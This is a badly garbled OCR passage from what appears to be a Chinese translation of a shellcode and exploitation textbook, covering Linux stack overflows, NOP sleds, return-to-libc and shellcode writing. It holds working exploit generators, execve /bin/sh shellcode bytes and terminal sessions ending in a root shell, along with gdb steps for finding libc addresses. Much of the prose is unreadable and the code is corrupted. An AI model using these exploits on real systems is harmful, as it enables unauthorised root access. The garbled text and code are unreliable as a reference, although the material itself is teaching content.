T BUH KA 7 A AR 7 108 B i 75 55 52 Bt (0 R R O A A

shellcoders@debian:~/chapter_2$ ./victim $(printf *%0512x" 0)

shellcoders@debian:~/chapter 2§ ./victim $(printf "$0516x* 0)

shellcoders@debian:~/chapter_2$ ./victim $(printf *$0520x* 0)

shellcoders@debian:~/chapter_2$ ./victim $(printf "$0524x" 0)

Segmentation fault

shellcoders@debian:~/chapter_2$ ./victim $(printf *$0528x* 0)

Segmentation fault

[t A EHIRBEARR (R A B R RATT T LUK, (A7 IR I A BV R AE i 24T 2 30
524~528B2 fi].

BAVELAT T HE 4 UK AR TIZAT Hshellcode, K BSNIY T 4R47 1138 8] ik 7T it 2 76 35

shellcode#540B. A IB/F HFE480BE484B, MA/ERIRAFHIEMIMEAE . (RAFITIEEI bt R 24
EhOxbIfFad8 T AN 26, W—F, FIRAFHEEMAERE. M O1TR T miXH:

shellcoders@debian:~/chapter_2§ ./victim $(printf

"\xeb\xla\x5e\x31\xc0\x88\x46\x07 \x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0

b\x89\x£3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xel\xf £ \xf £ \x£ff\x2f\x62\x6

9\x6e\x2£\x73\x68%0480x\xd8\xfa\xff\xbf")

WTERE, shellcodeE 745 B IFF 3k, BRI R%0480x, #A/FREABRIRAE B B MhE.
SAEEEAI ML, SRR “BAT B

HEATEA AT, 275

Segmentation fault

TRV PSR (R 484B

shellcoders@debian:~/chapter_2$ ./victim $(printf

*\xeb\xla\x5e\x31\xc0\x88\x46\x07 \xBd\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0
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b\xB9\x£3\x8d \x4e\x08\x83\x56\x0c\xcd\xB0\xeB\xe 1 \xE£\xE£\xE£\x2E\x62\x6
9\x6e\x2£\%73\x68%0484x\xdB\xfa\ x££ \xbE")
Tllegal instruction

RAVMEIRMEIT T1legal instructiontdin, BARNATTAEHMIES. BERTH—

TRAFME R FEARAE WA R TR, BRER, M@K, Fit,
shellcodeffj 1k ¥ >4 LEOxbffffad8 & — 4.

HFERL, TR BRT XTSRS

8%0484x\x38\xFa\XE£\xDE" )

BAEIF R SRR, B AFRITTIRLFIF L Sshellcode S — £ 454 2 MMHE. (X
AN LR M Lamagra BB B A1)

#include <stdlib.h>

#define offset_size 0

#define buffer size 512

char sc(] =

"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\xB9 \x5e\x08\x89 \x46*

"\X0c\xb0\X0P\x89 \x£3\x8d\x4e\x08 \x8d\x56\x0c \xcd\x80\xe8\xel"
UAXEE\REE\XE£\X2£\X62\X69 \x6e\X2 £ \x73\x68" ;

unsigned long find_start(void)

asm__(*movl %esp,%eax");

{

int main(int argc, char *argv(])
char *buff, *ptr;

long *addr_ptr, addr;

int offset=offset_size, bsize=buffer size;

int i;

if =

(arge > 1) bsize
if (argc > 2) offset

atoi (argv(1]);
atoi(argv(2]);

addr = find_start() - offset;

printf ("Attempting address: Ox%x\n®, addr);

ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=d)
*(addr_ptr++)

= addr;
ptr += 4;

for (i =

;i < strlen(sc);

ive)
(ptres) = selil;
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RIFARAFAR
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45 FUEATIX N B R
REHEH, HEGBENREWshell.

buff[bsize - 1] = '\0';

memepy (buff, "BUF=",4);
putenv (buff);
system("/bin/bash") ;

}

K T BMENE FBRRYY, SERE B4 Bshellcode, #AJ X Mshellcodet BRI )
BAARIEREMIE, RAVEZARE R ORB R, ELLA

(Jack@oday locall$ ./attack 500
Using address: Oxbfffd768
[jack@oday locall$ ./victim $BUF

—YIER, PARBRASER GRft, EXAMITE, HANKNRS12B).

[jack@0day locall$ ./attack 800
Using address: Oxbfffe7cs
[jack@0day locall$ ./victim $BUF
Segmentation fault

RAETHA? B, WEAKET ! XRORBRIAKT, RAD— A 8.

[jack@0day locall$ ./attack 550
Using address: Oxbfff£188
[jack@0day locall$ ./victim $BUF
Segmentation fault

[jack@0day locall$ ./attack 575
Using address: Oxbfffe798
(jack@0day locall$ ./victim $BUF
Segmentation fault

[jack@0day locall$ ./attack 590
Using address: Oxbfffe908
(jack@0day locall$ ./victim $BUF
Illegal instruction

JUXRET 2, BUA U1 TE A I8 BT AR TR BEARCIN 1] (ERAEIXRY, SEIB2 MR T -

(jack@oday locall$ ./attack 595
Using address: Oxbfffe971

[jack@0day locall$ ./victim $BUF

Illegal instruction

[jack@0day locall$ ./attack 598

Using address: Oxbfffegea

[jack@0day locall$ ./victim $SBUF

Tllegal instruction

(jack@0day locall§ ./exploitl 600

Using address: Oxbfffea0d

{jack@0day locall$ ./hole $BUF

sh-2.05b# id

uid=0(root) gid=0(root) groups=0(root),10(wheel)
sh-2.05b#
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BAVEE T ERRSE R, PR Trootshell. 448, ELRFZRMAMLXELR/E (3
KTEN), RATERST RFHD, EAHTHERE, RAH8ETHILANER.

Wi AMA/Red Hat 9.0 LR TR, FE 4RI TLinuxZATIA, AHMMAF G
B, Ak e R T i A L d by RK—H.

EHBRLFRILKTZ R, RATLAREHRRE R, 1 B4 RHREUSOE T S8 F
e XEFIKBERNEFF, BEARAAR LA A, ERNMRERE TN AEF, REERARN
[ 500y 0 T KA AR S TR SRR T i

252 NOP:Z%

FANE IR B BRI, R LI EZ MRS BAeT, REBRIT . AR, Bk
Btitshellcodeltf ff AN AR M B B ARVFRATRBRATIES], A4 H 52 ol LURDIF IR 1), ok
MBS A E

A L3 FINOP K14 s 75 () 05 & 9 0 Jik . No OPerations (NOP) JEZEBHAT A (K148 4.
FECH AL L, NOPE:Z A, XMl T8, AINOPREIE ~KBABITHHSK. I T
A, AL HINOPH Fshellcodelt ki, XFFMIE, HERFRMILAL FNOPEHZ A,
Wb E AR AEMATIENOPZ G, R MATIR Eshellfishellcode. BUTE, FHIALHRRAVIEEIREHH
WG, TR ERIRE BALTNOPHITEFEA, shellcode# 274 LIPAAT . BATILIXMLFEFRN “F
NOPHi7S” SAIHINOPH . MARIKATITLRE AR, X HITEIXLATIR,

EHHRESWAFLT, {Eshellcode IR 2 7 LNOPH . 1A32 F-J0x90K /RNOP. 1%
At 4R & RIHR S ALA INOPIHIRAM, (HRAERLN B SIXLNE,

#include <stdlib.h>

#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90

char shellcode(] =

"\xeb\xla\x5e\x31\xc0\x8B\x461x07\x8d\x1e\xB89\x5\x08\xB9\x46"
"\X0c\xb0\x0b\X89\x£3 \x8d\x4e\x08\xBA\x56\x0c \xcd\xB0\xeB\xel"
MAXE£\xE £\KEE\K2E\XE2\X69 \x6e\x2 £\XTI\x68" ;

unsigned long get_sp(void) {
_asm__("movl %esp, seax");
}

void main(int arge, char *argv(])
{
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char *buff, *ptr;
long *addr_ptr, addr;

int _OFFSET, bsi; _BUFFER_SIZE;
int i;
if (arge > 1) bsize = atoil(argv(1]);

if (arge > 2) offset = atoi(argvi2]);

if (1(buff = malloc(bsize)}) (
printf("Can't allocate memory.\n");:
exit(0);

addr = get_sp() - offset;
printf("Using address: Ox$x\n", addr);

ptr = buff;

addr_ptr = (long *) ptr;

for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;

for (i = 0; i < bsize/2; i++)
buff(i] = NOP;

ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];

buff(bsize - 1] = '\0';

memcpy (buff, "BUF=",4) ;
putenv (buff) ;
system("/bin/bash") ;
)
X FIRE I HARUIBBAT B SR AT, RERRAEMN 4.
(jack@0day localls ./nopattack 600
Using address: Oxbfffdd6s
{jack@0day locall$ ./victim $BUF
sh-2.05b# id
uid=0(root) gid=0(root) groups=0(root),10(wheel)
sh-2.050#

AR R, HRRRI ARG .

{jackeoday localls ./nopattack 590

Using address: Oxbf£££368

(jack0day locall$ ./victim $BUF

sh-2.05b# id

(root) gid=0(root) groups=0(root),10(wheel)
.05b#
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XU R B ENOPER K, RIFRRIFUIAA o LUER TAE. (HRAIGEESEWR?

[jack@oday locall$ ./nopattack 585
Using address: Oxbfffflds

[jack@0day locall$ ./victim $BUF

sh-2.05b# id

uid=0(root) gid=0(reot) groups=0(root),10 (wheel)
sh-2.05b#

S IXAFE MG, RBATNOPIRIIRHE, RAIE T 15~25KRINIHLL.
2.6 HBERAHIT

AT ) R PR T LUTEE AR, AT AZEAR BPATHES o (RRAE A —FH R HEME, VF
ARG (B WSolarisMOpenBSD) A AVFFERE FHATAFS .

{EPRTTRE AR, ZEF IR I R, A — AR Bk EATRI. RAOVERTELIE
il ETREEMHER, 15 TEWE, HTARE. MRBRIATHRATRR, T “E&
[Allibe (Return to libe)” J7ike BEFUE, BRATIN LIS Wi J5 s 5 e 7m Hlibe s BO% 3t
libe RG24 BARRAEZBIA AT HATAARG IS, IR Fllibe sk v REREAR -

B [E libc

LR TR [l libe AR AR, I8 AJE Flibe RN TAEMINE? MRIEA, TR Al L,
BERRATT ASE A HETe, M54 M A AR BARMAT Bt N ETe. T HZ, RIAIHESS I
R, BATAT L SE A EE IR AT o

PR Hh (04 G507 R AR R BZ AR 04, (IR Ellibe I RAEH BT Sy s 193]
AR SBFEREAER L, BT RATAT UG R T HATER B BEL. 4R, b 7Bl
Y, ETEAF MBS AR NFRR B, FE LT FAF.

O ERHRH WIS AR, EARBROTF BB H.

O bR B I B HUS TRABA M ROE Y, LMEBRATGEIR 4 shel st 4 .

libe oy B0 S X PR IR BRI FE o TR W libe EATHER CRRBUA, 24 LBUEE 10 LI
CHUML F FLXSREARIETER CXRRBUEME SO, KRR AT (Flibe) #aril
Vi )X R KBRS, WAL TR AT AV XA R BRI MR 44 AR g2
FATBTE WA FURIBRAT VIR AR 0 R B CAAR, R EN WSO, TR
AT

Xt F AR Elibe A s, AR, (GEE R shell. MLEEIKS, BAFHIKlibe
U system() . FEXAMITH, system() FTEIN TARBW A28, RI5H /bin/shil
TEANBH. Hk, M/ /bin/shiEHsystem() B, HREWITsysten() 7, MEME
shello JXFF—3K, AW EER EPATIERARG, R HIBEL CHBUE B systen () BE0R
LT

BAIX system () BHEIKIMSHLBMN . A b, ROV SRS MR RRAITAM
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PATHFHH (/bin/sh) HIRET. MIBULMSR, MEFERRT -PBRE (ST
B, XA ML A che_function) K, SENARMILFRE LA B KT EFHR,
ARG FRIAE IR RATTEBN B, ERSWML, RIIAEUE SRS
system() .

HAPUTCALL the_function, CALLIE F—%3H4 (RAEEFIM) MMk, 3#
HsEsPi4. Ythe functioniR[FIM, RET (BEIP) ¥4k, HMespE B HRETY F
ok

BUtE, PATHRE N [0 B HAT W system() o the functionfl BESPE I N i%iE
Il HACAAIIN AT BEOSREAR LEHE, T8 PSR TreTZ R, Kk
BAFIIIEHAT A - B, HEIR [Elsystem () #IMALFIZ B (XM T B, B%0UE M1 /bin/sh
e AT . Mehe functioniBMIN, REKHRNM (REHHE, WARTHREALEXN
) Flsystem(), iMisystem() HEMERIEAR LSAE.

SER LA L RREE, RNHZRT A XA AR A BAR T . b T 4RSI [Ellibe BRI,
BHER LT HAES T A

(1) HisEsystem () itk

(2) #45E /bin/shifiititt .

(3) $kittlexit () bl LAET il 8l A2 o

RACHRAEF—ADNCIRCHFF, A LR lbe AP system () Msthk. goc?EBRkG I
ffflibe, B, WEAR T mIMFET R Hsysten () Hiht.

int main()

«
)
HiPEJE, Higdbikthsystem() MMl

[root@0day locall# gdb file
(gdb) break main

Breakpoint 1 at 0x804832e

(gdb) run

starting program: /usr/local/book/file

Breakpoint 1, 0x0804832e in main ()

(gdb) p system

$1 = {<text variable, no debug info>} 0x4203f2c0 <system>
(gdb)

BATE R system () ML 0xa203F2c0. MIfEH Hexit () fithE.

(root@0day locallt gdb file
(gdb) break main

Breakpoint 1 at 0x804832e

(gdb) run

Starting program: /usr/local/book/file
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Breakpoint 1, 0x0804832e in main ()

(gdb) p exit

$1 = {<text variable, no debug info>} 0x42029bb0 <exit>

(gdb)

K Flexic () MHuhE 2 0x42029bb0. T, Jil memfetch® TS 3 /bin/shify i ht .
memfetch ) L B R S HERR 0 P9 47 20 4 AR AR B — A 38U PR D, RATAT BLZE AN A
I /oin/snfllil. BRILZ S, BT/ bin/shRFERBERE, RERFIXAA SR
LG5 ck: 1

BfE, RAOTABAIN G S MARRRS: XA R B M. SR .

(1) PR ARG 95 (9 2 pp X 538 18] bk 2 [e] 928 )

(2) Misystem() Hyitsdik 505 IR [t

(3) fEsystem () il Lexit () fyHtad.

(4) #E L /bin/shifydit .

KBRS T

#include <stdlib.h>

#define offset_size 0
#define buffer size 600
char sc[] =

"\xc0\x£2\x03\x42" //system()
"\X02\x9b\xb0\x42" //exit ()
“\xa0\x8a\xb2\x42" //binsh

unsigned long find_start(void) {
__asm__("movl %esp,%eax");
}

int main(int arge, char *argv(])
{
char *buff, *ptr;
long *addr_ptr, addr;
int offset=offset_size, bsize=buffer_size;
int i;

if (argc > 1) bsize = atoilargv[1]);
if (arge > 2) offset = atoi(argv(2]);

addr = find_start() - offset;
ptr = buff;
addr_ptr = (long *) ptx;

for (i = 0; i < bsize; i+=4)

@ ehttp:/lcamtuf.coredump.cx/f LR FIIX A TR
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*({addr_ptr++) = addr;
ptr += 4;
for (i = 0; i < strlen(sc); i++)
*(ptr++) = sclil;
buff(bsize - 1] = '\0';

memepy (buff, "BUF=",4) ;
putenv (buff);
system("/bin/bash");

¥

27 M

AT HA MR XA A e A TRATEEINEGE, AR RIESENS
S RINIX, HFEE BRI Ik A7 T BCS R IR Pk, BATR T AR IR AT O
VG Ashellcode il 4, MITiVR4EMshell, 2 /FHMATUHITiRshell T A /ELEMARS AE
ERTRAN A GHARBLH o



shellcode

hellcode 2 —#LAIVENMIEL, ATLAAE B HHIARFRIET. B Mshellcode® MR fF 27
TEAAELF RS BT LU A GRE S S IR A RIRAETS . B, AR
I P RE 5% Sshellcode, IR —Eeiif 25, el ik 3 Bishellcode B HERAT, X2
R %6 th 1 B S shellcode 7 L HE I . AHEAH FF shelloode MBMITILY, I ARG ST
H Clffishellcode.
Aifishellcodelsf & W i Ab—— & R IRTAR AL R (04 KIS, FRIR A Mshell. 24
R, BLAEIX S shellcode i ¥ i) vk, (BT B FUF AN L Wit shellcode, HERETEREL
T, AFEBEAGXEHBNT. F2REAN G, BRI R Eshellcodel A
LRI, SAE KGR B ARETIAT €. LR 2 B IR RS, A4 1R 4 7E il shellcode
WRRFYFT o
FEAR I 22 Bshellcode &Il & MM AH A, FRE . N2k, HEHHIARRRE T LA
A R RAI S, A TTLRIE. XERRREHE IR, ENHEFEEEOAN, IIRTH
BWFRBEISYE, HARGETRIESE . ERIRERR, ST 5 01 9 il 36 PR P 4 i
P WIRRAAS G R G R BBk 80 (0 R IR A il AR X R, A st R s
WA I A TEFE . Besh, Sk R i RATRI S, WA RPBHRR. 76X
SR, RN TEE SRS ERRIXMbug, AERFIARRF, HRTRAEAEES)

F Hshellcode.

3.1 ERAGIRR

ot 2B shellcodeWg? 24 FA AL BAREYF AT 803 B0 4 sRg4T (k& Btik
FURRR P BRAN M BB AT 40D, TR 1977 SRBRHIETAEARRA . REMARNY
SRR HAE, AR AT LOTRL S VT RIRFE BRI R R BRE, BIanBSZHN | SEFRA Y | S8 R
BAT ZREBISCAF% . L RS, AR0T AR RS R, AL BT LA S AR
HMMCH PRI RV L Z AR B AR T P B Z M O fERRIR |, SRR AR
PR BEL 1k P 182 PR P 305 Al B B R G o 2B ATHE P P BT AR R B VT )
AW AF RS, REEHG AR VTSRS, LR AT BBV I R AR (R, B
LERUFTEERIZATH, WKL RE QMRS XS R AR N E X I BRI
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AEAZ B, FECRUESAE 2 2 (R TR R REX R .

FELinux BA WA ERIIT R . RN BRCHARE (libc), BIZMT kRIS
184 (HEEMMSEMBB TS, AREAKNE) JATREEM . GIRbo R B2,
WRFEA RGN N T IREA DI (Bllimalloc) MTXEYT, BFWTUSEEERIET.
BB, K Hibe R YL IR AN Sk i P9 R TR U T A0

FELinux R, F2FELint ox80dK P WIRMAT RAEHA . FLFFER P F AT int 0x80
i}, CPULIHE A BRI SAT AN A RV - Linux iR 69 RGE1A I A R 3LABUNIX
RYE, CAERGAAN S M fasteall 4958, XX REWFRGE, HREFEROMHRE. REiR
JiLiEpURES N

(1) ARG ISR 5 WA EAX.

() RALRHAMBEEANIAI T2

(3) 4Tint 0x80§E4 .

(4) CPULIHEI A A«

(5) AT RG KL

ARG N AR SPITRAEWAR, LA BYAN . BDRLEH
Flg % L6 B, N HRAFIEEBK, ECX. EDX. ESI. EDLFIEBPHL. WIRBHEIL6), it
XS YOI 3 — B RR S AR L MRt

BUAE, IRRLZICYHRIE T REMAREATHNT . RIERBIXAN DR, FECHIKRYLE
W, R RICRHFFT AT, ERX MRS R 4.

B R RG AN Z e exit (), BRI AR SRIMMERE . RITSAMERKNCET, &
EHATELENR H, RGBT

main()

{
exit(0);

)
GivEMgeclt Hstaticlb M, IXAT AR MBI AR ShARHERAHR BRI RGMAAL

gee -static -o exit exit.c
Al SR RSO

[slap@0day root] gdb exit

GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)

Copyright 2003 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you
are welcome to change it and/or distribute copies of it under certain
conditions. Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty® for details.
This GDB was configured as "i386-redhat-linux-gnu'...

(gdb) disas _exit

Dump of assembler code for function _exit:
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0x0804d9bc <_exit+0>: mov  Oxd(%esp,1),%ebx

0x0804d9c0 <_exit+4>: mov. $0xfc, $eax
0x0804d9c5 <_exit+9>: int $0x80
0x0804d9c7 <_exit+ll>: mov $0x1, $eax

0x0804d9cc <_exit+16>: int  $0x80
0x0804d9ce <_exit+18>: hlt
0x0804d9cf <_exit+19>: nop

End of assembler dump.

R RICRAE MR I HKexie, TURIHNREAEM. Fexit+aMlexit124T,
AT LA B0 R A R VR A 4 5 43 A S I A

0x0804A9c0 <_exit+d>: mov $0xfc, $eax

0x0804d9c7 <_exit+11>: mov  $0x1,%eax

exit_group () X MR AR 52252, exic O MMMRLBAR SR, ERICRER
HRBEEH 4IRS, CIBHRLWA NS EMEF|eex. XNBHH0, RERKEMZH
IENHH .

0x0804d9bc <_exit+0>: mov  Oxd(%esp,1),%ebx

B RPidint 0x8014, XWAIRSIECPUMBAIABMR, FHFHMITREAA.
0x0804d9c5 <_exit+9>:  int  $0x80
0x0804d9cc <_exit+16>: int  $0x80

KRR exit () R MHIRIAIL S5 2
3.2 A exit () ZHiIHAT shellcode

L, RATEL S Gexit () shellcodelfitl T LEM M. RIICLHCHESHE T
PATRAVHIEIT, SRR RICE T A R RICHE, 700 T TR S 4 X
SRR shellcode, ML SR/ HEBINRAERS, WA R Mshellcode, B
FATLUE# TAE. BHERTFLh¥ D BRI, ¥eBshellcodoMt .

shellcos N

B A4 #yshellcode TAEA RS B AR, TUARRAELS 4fF, FARR
shellcode &g (R AT . ok, o4k, %k MMAA N, §ReshellcodeS HBIBA R, o
KA nF P RO%A K, FREIeHAshellcode I ##|EC L@, & HEF A LM shellcode
4, Bk, shellcodety KA Hbnds, AFENRE, £BFshellcodesy B4k, 5ot @
FEHXA.

Bl PAEH 4L, | PR R, XA RN SN, R
M, BIXTEIRSBATRACKIRERL . AEXRRIRT N, shellcode ¥ 7ER A b4 A &R B H
IR FRAT FERXAGIF AL, JABIRIRS W LAEIS M, WEBAE), Bit, XAATH
WHY, ERAPITE, Wi AesXr] LUAFIREBMMHI. Hot, RAIshellcode S
Hexit () RGP, HILAT LU BB group_exit (), EARREWIMALR. MshellcodeRIPATR
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AE8, XEHURUMEHgroup_exit ().

MEERA, BAIMshellcode N %5 R LA FAL%

(1) $Tof7 FlEBX,

(2) 147 FEAX.

(3) PfTint 0x80IEE K= RLIAM .

SERCSE @ SCBIX3AN SR, G BIELPH R ZREHISCIF, BB XA IO BRI
Bt .

Section .text
global _start
_start:

mov ebx, 0
mov eax,1
int 0x80

SeinasmfiF AR A E bR ICHF, ARJG HIGNUSE B2 38 BB H bRoC

[slap@0day root] nasm -f elf exit_shellcode.asm
[slap@0day root] 1d -o exit_shelicode exit shellcode.o

—VIE, AL RSO EARER RS T . /5K E, RATA objdump KA. objdump
RSN TR, AT R BRSO N . 78R FAR U R A R R, et
R RRAIN AT, XA ETES S shellcode IR R AE M A Y. 18 F HTiXA% H objdumpi& 47
exit_shellcodeF2/¥:

[slap@0day root]) objdump -d exit_shellcode

exit_shellcode: file format elf32-i386

Disassembly of section .text:

08048080 <. text>:

8048080 bb 00 00 00 00 mov  $0x0,%ebx
8048085 b8 01 00 00 00 mov  $0x1,%eax
804808a: cd 80 int  $0x80

W LLR BRI IR S, 2R B o (XML B, BRI B R R B 74
YA, WEEPCEFPAPITIENFRHH . FIRMNOH T RN, FLEAR
TORCEE P 0 4R BB I IRARED ) o

char shellcode[] = "\xbb\x00\

*\xbB\x01\x00\x00\x00*
"\xcd\x80";

int main()
(
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int *ret;
ret = (int *)aret + 2;
(*ret) = (int)shellcode;
)

BLE, GFEIXAFFR M shellcode.
[slap@0day slap] gcc -o wack wack.c
[slap@0day slap] ./wack

[slap@0day slap]

URATRK SRR EW R T, AR ABNEHISAT T shellcodeWg? a7 A R4 4 HiEs
B3 (strace) KM, BB REFRME DRLWE. FHiLstracelit:

[slap@0day slap] strace ./wack

execve(*./wack®, ["./wack"], [/* 34 vars */1) = O uname((sys="Linux",

node="0day. jackkoziol.com", ...}) = 0

brk(0) = 0x8049448

old_mmap (NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40016000

open(*/etc/1d.so.preload’, O_RDONLY) =

= -1 ENOENT (No such file or directory)
open (*/etc/1d.s0.cache”, O_RDONLY) =3

fstat64(3, (st_mode=S_IFREG|0644, st_size=78416, ...)) = 0

01d_mpap (NULL, 78416, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40017000

close(3) =0

open(*/1ib/tls/libc.80.6%, O_RDONLY) = 3

read(3, *\177ELF\1\1\110\0\0\0\0\0\O\O\O\3\OA3\O\I\O\OAO VA1BA\O*.. ., 512) = 512
fstat64 (3, (st_mode=S_IFREG|0755, st_size=1531064, ...}) = 0

©01d_mmap (0x42000000, 1257224, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x42000000
old_mmap(0x4212e000, 12288, PROT_READ|PROT_WRITE,

MAP_PRIVATE|MAP_FIXED, 3, 0x12€000) = 0x4212000

©old_mmap (0x42131000, 7944, PROT_READ|PROT_WRITE,

MAP_PRIVATE |MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x42131000

close(3) = 0

set_thread_area ((entry_number:-1 -> 6, base_addr:0x400169e0,
1imit:1048575, seg_32bit:1, contents:0, read_exec_only:0,
limit_in_pages:1, seg_not present:0, useable:1)) = 0
munmap (0x40017000, 78416) =0

exit(0) =7

AR JBE AT Rexie (O R WRARARUE Mexit (), o LEkshellcode, ik,
fFexit_group().

char shellcodel] = "\xbb\x00\x00\x00\x00*
"\XbB\XEC\X00\X00\X00"
"\xcd\x80" ;

int main()

int sret;
ret = (int *)aret + 2;



33 TENAH sh 37

(*ret) = (int)shellcode;

)

UG Hexit_group () shellcode U FIFFHITIfE. HERE, BAMUNEE TH_ATHE A
B (HE\x01 (1) B \xfc (252) , HRLRE PR SE) THNM AL . BFR&FFERE
iTstrace, HAILAHEBMEKIEH AL .

[slap@0day slap] strace ./wack

execve(*./wack®, ["./wack®], [/* 34 vars */])

uname ({sys="Linux", node="0day.jackkoziol.com®, ...}) = O

brk(0) = 0x80494d8

old_mmap (NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)= 0x40016000

open(*/etc/1d.so.preload’, O_RDONLY) = -1 ENOENT (No such file or directory)
open (" /etc/1d.s0.cache®, O_RDONLY) = 3

£stat64(3, (st_mode=S_IFREG|0644, st_size=78416, ...}) = 0

©0ld_mmap (NULL, 78416, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40017000

close(3) =0

open(*/lib/tls/libc.s0.6", O_RDONLY) = 3

read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\310\3\0\1\0\0\O VA1B4\O". .., 512) = 512
f£stat64(3, (st_mode=S_IFREG|0755, st_size=1531064, ...}) = 0

old_mwap (0x42000000, 1257224, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x42000000

01d_mmap (0x4212€000, 12288, PROT_READ|PROT_WRITE,

MAP_PRIVATE|MAP_FIXED, 3, 0x12000) = 0x4212€000

01d_mmap (0x42131000, 7944, PROT_READ|PROT_WRITE,

MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x42131000

close(3) =0

set_thread_area({entry_number:-1 -> 6, base_addr:0x400169e0,

1imit:1048575, seg_32bit:1, contents:0, read exec_only:0, limit_in_pages:1,

seg_not_present:0, useable:1}) = 0

munmap (0x40017000, 78416)

exit_group (0)

Bk, RAIFERT WML, wEAT fHR, XA SR Bich Al g
KM o A ALIKFENE? F—ARK B M, iR ERMRE, RS T
ffishellcode.

3.3 AEAR shellcode

Wi, S AT R R AR Eshellcodeft) P4 721X U 1 4R 47 F P USRI NTO AX RE IR P IX
WEA B, EMEKRE TR PR, A4 RIA %S (shellcode:

\xbb\x00\x00\x00\x00\xb8\x01\x00\x00\x00\xcd\x80
Ve RIIX P shellcode P A E 2 (\x00). FHIXEAEMMIFLE, 2iEshellcodes HiF]
B CRRBAD (MR IR (R PR R, SRR LRI, %
TRRGIXA B, BATE BRI G B A AR . R, AR R 3
B, RIUAWIAN 50T LA S pOXA RSB — AN o, BB S A A
[RIZHRE M H @ B I L L MR & o AN ERIMST e -2, BW RIEBT AR E

0
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SRR LR B ARSI R AR, R AU shellcode e I 77 H
WL, TRENK AT T RSO TT, ERATIO R A ik 8 B R T

g,
SERRB S —AI7i%. shelleode I T 193 414044 RN 57 K B 75«
mov ebx, 0 \xbbA\X00\X00\X00\x00
mov eax, 1 \xbB\X01\x00\x00\x00
int 0x80 \xcd\x80

SkPIFAR QAR AR TRBAY .  RORBICARIE S, NiZMExclusive OR (xor) 3
ATERABRABAFHITIR TR0, X EIkA 1R Exclusive OR (xor) MBI MERAFRUAS, 75
LAEIRA BATLAAEFHO, (HESR A0, FTLAE B2 A ARG . LA £ F Exclusive OR (xor)
RN Enovik €, MEBX®EK0. Ft, $-£KS

mov ebx, 0
2k

xor ebx, ebx
KRHKT —FEHTENOHES, T—LER, .

RATRER TR, A ARSI P A SMR? RIVFRA TR S8BT, Hihare
AERBATSRH R 04, XM T326L (4B) WHBEAX, TIRAISIEH T IBRIH
18, B, RO T, REMEZHSER TS .

R BEAXHALR, AR IR . EAXTT DARS AT 160000 “KIR”,
AXATLAVS )5 — MG TAX T DAtk — 4 AL MARPE B4}, AR S — 84,
BT E AL, XA FE, S, B, SR BALR AT UAE H
11, AT Sl EAXRT, R ST AR o % TIRBIXA 10, HERA
a4

mov eax, 1

Jiauft#eax:
mov avl,l

Filt, RAIBZEshellcode HAHAMK T . WK —TF:
Section Ltext

global _start.
_start:
xor ebx,ebx

mov al,1
int 0x80

HEFTHAFBAE LR, Hobj dump RIS«
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[slap@0day root] nasm -f elf exit_shellcode.asm
[slap@0day root]) 1d -o exit_shellcode exit_shellcode.o
[slap@0day root] objdump -d exit_shellcode

exit_shellcode: file format elf32-i386

RICHi.textB:

08048080 <.text>:

8048080 31 db xor ‘#ebx, %ebx

8048085 b0 01 mov  $0x1,%al

804808a: cd 80 int $0x80

T LA A HIINULL WRT, TiHKBEHERANT . BAE, 80— AT

BLEH A AT shellcode T o
3.4 R4 shell

fiGexit () shellcodeSEhr [ SURMBML S, B hexit() shellode?e SBREREEF R4
A, WRAELA R G AN, RER AR S MG BT, KFTRAA3 75t
Fifthexit () shellcode. MR, XIFABIKIIRAIEFTA HIRFEFHMMLRIT, fe3Lon
ML, TTBASE 3L At shellcodeSE ARAELE H 11, 45 Mlexit () shellcodesRiEIHFEF i 354,
TG T3 36 P FRAE A et 0 T R A P o

BATREHLT “RMPFL”, 0 B L E AT TN —— IR Mlshell, F5HIREA H AR
ARG RIS AL RATNEFFHHN 4 EREAEIA32 LinuxifF £ 46 L Sshellcode. XIS
AL BRER .

(1) %A P4 5 i B shellcode FEFF .

(2) 4iFH RICHIX A shellcodeFR/F o

(3) NICERE A TP PAT R

(@) BHA R R, REWRANERRBHEETIEN.

(5) #&Htopcode, fl#Eshellcode.

HOEMF IR shell KICFLF o IREshellfy (8. SHREEN /7R OIEFOIER . #LinuxE, 7
PIRR SR QI R RS, — RN DU ORGSR IR EEE SRR, — RARIA
IR AR H IR, IHEE AL RISATEA B . AR e Fed, RA@id fork ()
Hlexecve () RYEI A 5 VR WL BRATAMAT ABAT LT, PR ATERIF ~Y). fork () Flexecve ()
RO RIATHERIRIA, {Hexecve () BUAFFR—Le, B o] DAZEBLAT (30 7 2% 9] HLLMRAT 34t

HT ARG, 76X B flexecve. TR /MW $CHF Mexecvelll .

include <stdio.h>

:nt main()

{

char *happy(2];
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happy[0] = */bin/sh*;
happy (1] = NULL;
execve (happy(0], happy, NULL);

)
GIEHPATRAESF, BERGHERINNER.
(slap@0day root]# gcc spawnshell.c -o spawnshell

[slap@0day rootl# ./spawnshell
sh-2.05b#

AR, FUFIRE T shell. BAEHAEFRREMARE, A-WRIEXBATIEANBERE
B, ARG RERRITE, WRALREIERES T . B, & TEETUERSS M
GEpRX R IERIEAT, LA EHBARESA /O HERS . BUDATRI E LMt RS, 3
AT 2R, PURERERRZERET . B 5%Mecch -staticlf HEFHRFXA
